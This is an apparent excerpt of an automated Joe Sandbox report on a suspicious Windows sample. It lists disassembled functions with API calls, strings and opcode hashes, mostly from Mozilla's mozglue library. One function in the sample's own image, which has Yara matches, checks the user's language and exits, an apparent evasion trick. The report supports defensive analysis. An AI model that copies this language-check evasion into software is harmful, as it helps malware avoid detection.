Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 005F6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 005F6774
ExitProcess.KERNEL32 ref: 005F67A5
ExitProcess.KERNEL32 ref: 005F67AF
ExitProcess.KERNEL32 ref: 005F67B9
ExitProcess.KERNEL32 ref: 005F67C3
ExitProcess.KERNEL32 ref: 005F67CD

Strings

*, xrefs: 005F678C

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 7f1dfbe2e37f54f781a7935dd2677b8abee396945f551736de126aefda67050c
Instruction ID: f768ce4f7509c97586659bf476c5577df6098e7da6ab3fa60b8e745d2935c985
Opcode Fuzzy Hash: 7f1dfbe2e37f54f781a7935dd2677b8abee396945f551736de126aefda67050c
Instruction Fuzzy Hash: C0F05E3090520DEFD358AFE0E90972CBB70FF14703F048198E649C62D0D6744B42DB9A

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 005F92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:_,80000000,00000003,00000000,00000003,00000080,00000000,?,005F3AEE,?), ref: 005F92FC
GetFileSizeEx.KERNEL32(000000FF,:_), ref: 005F9319
CloseHandle.KERNEL32(000000FF), ref: 005F9327

Strings

:_, xrefs: 005F92F8, 005F92FB
:_, xrefs: 005F9311, 005F933D, 005F9314

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :_$:_
API String ID: 1378416451-3093262757
Opcode ID: f9cf910110cf6b698a085144f865fb748172f6248277289fd1add386fae1496b
Instruction ID: 8375105aca043063c77ec0bae3e12196493b5a71c9da06b471ba5f30a6374584
Opcode Fuzzy Hash: f9cf910110cf6b698a085144f865fb748172f6248277289fd1add386fae1496b
Instruction Fuzzy Hash: 82F04F75E40208BBDB24DFB4DC49FAE7BF9BB48710F10CA54BA51A72C0D67496018B44

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

